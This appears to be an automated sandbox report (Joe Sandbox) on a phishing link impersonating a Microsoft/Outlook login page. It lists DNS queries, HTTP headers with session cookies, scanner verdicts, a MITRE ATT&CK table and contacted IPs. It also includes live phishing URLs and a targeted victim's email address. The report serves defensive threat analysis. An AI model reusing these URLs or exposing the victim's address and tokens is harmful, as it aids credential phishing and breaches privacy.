Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: j4tpu.bpmsafelink.com
Source: global traffic	DNS traffic detected: DNS query: clickme.thryv.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: taisanji.jp
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: e76abede.df1076c6f7230d3c23de9bcb.workers.dev
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: passwordreset.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2808sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: b3f22530d2b9a73sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Apr 2024 18:36:28 GMTContent-Type: text/htmlContent-Length: 2814Connection: closeVary: Accept-EncodingLast-Modified: Mon, 02 Jul 2018 00:29:39 GMTETag: "afe-56ff94b0199fc"

Source: chromecache_118.1.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_90.1.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_90.1.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_90.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_91.1.dr	String found in binary or memory: https://account.live.com/resetpassword.aspx
Source: chromecache_100.1.dr, chromecache_77.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_90.1.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_140.1.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_140.1.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_125.1.dr	String found in binary or memory: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.201.212.130:443 -> 192.168.2.7:49716 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.win@23/111@39/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2344,i,12616628645249651757,12217795645111903713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2344,i,12616628645249651757,12217795645111903713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA	0%	Avira URL Cloud	safe
https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label	Link
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/owa/?login_hint=sheue%407haircare.com	100%	Avira URL Cloud	phishing
https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/favicon.ico	0%	Avira URL Cloud	safe
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX	100%	Avira URL Cloud	phishing
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?qrc=sheue%407haircare.com	100%	Avira URL Cloud	phishing
https://taisanji.jp/197006108922/	0%	Avira URL Cloud	safe
https://taisanji.jp/favicon.ico	0%	Avira URL Cloud	safe
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTMsImV4cCI6MTcxNDA3MDMzM30.KjLJF5iiSFKdw41uUQwdDBQjolY0kxSFZb7HDP4uVI8	100%	Avira URL Cloud	phishing
https://taisanji.jp/197006108922/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	138.124.184.68	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	unknown
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
taisanji.jp	120.136.10.95	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.17.3.184	true	false	high
d1rsqi0l6b7evg.cloudfront.net	18.164.78.99	true	false	high
www.google.com	108.177.122.103	true	false	high
e76abede.df1076c6f7230d3c23de9bcb.workers.dev	172.67.154.14	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
LYH-efz.ms-acdc.office.com	52.96.122.82	true	false	high
j4tpu.bpmsafelink.com	unknown	unknown	false	unknown
clickme.thryv.com	unknown	unknown	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
time.windows.com	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high
passwordreset.microsoftonline.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA	true		unknown
https://taisanji.jp/197006108922/	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?onload=onloadTurnstileCallback	false		high
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js	false		high
https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=87a07069393b53b7	false		high
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/owa/?login_hint=sheue%407haircare.com	false	Avira URL Cloud: phishing	unknown
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?qrc=sheue%407haircare.com	false	Avira URL Cloud: phishing	unknown
https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10	false		high
https://taisanji.jp/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		high
https://taisanji.jp/197006108922/#sheue@7haircare.com&	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/87a07069393b53b7/1714070194209/7c141658e4705f8339da67ff0d4610a1f1ff832447d37cb2823e7e09655347e8/XiKiZkimIR7Xvi1	false		high
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTMsImV4cCI6MTcxNDA3MDMzM30.KjLJF5iiSFKdw41uUQwdDBQjolY0kxSFZb7HDP4uVI8	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/87a07069393b53b7/1714070194214/ypZU3uoYL2TKkUO	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://github.com/jquery/globalize	chromecache_118.1.dr	false		high
http://knockoutjs.com/	chromecache_90.1.dr	false		high
https://login.windows-ppe.net	chromecache_140.1.dr	false		high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_90.1.dr	false		high
http://www.json.org/json2.js	chromecache_90.1.dr	false		high
https://login.microsoftonline.com	chromecache_140.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_90.1.dr	false		high
https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX	chromecache_125.1.dr	false	Avira URL Cloud: phishing	unknown
https://account.live.com/resetpassword.aspx	chromecache_91.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
138.124.184.68	v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top	Norway	8983	NOKIA-ASFI	false
52.96.122.82	LYH-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.154.14	e76abede.df1076c6f7230d3c23de9bcb.workers.dev	United States	13335	CLOUDFLARENETUS	false
104.17.3.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.78.99	d1rsqi0l6b7evg.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
120.136.10.95	taisanji.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
108.177.122.103	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431819
Start date and time:	2024-04-25 20:35:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
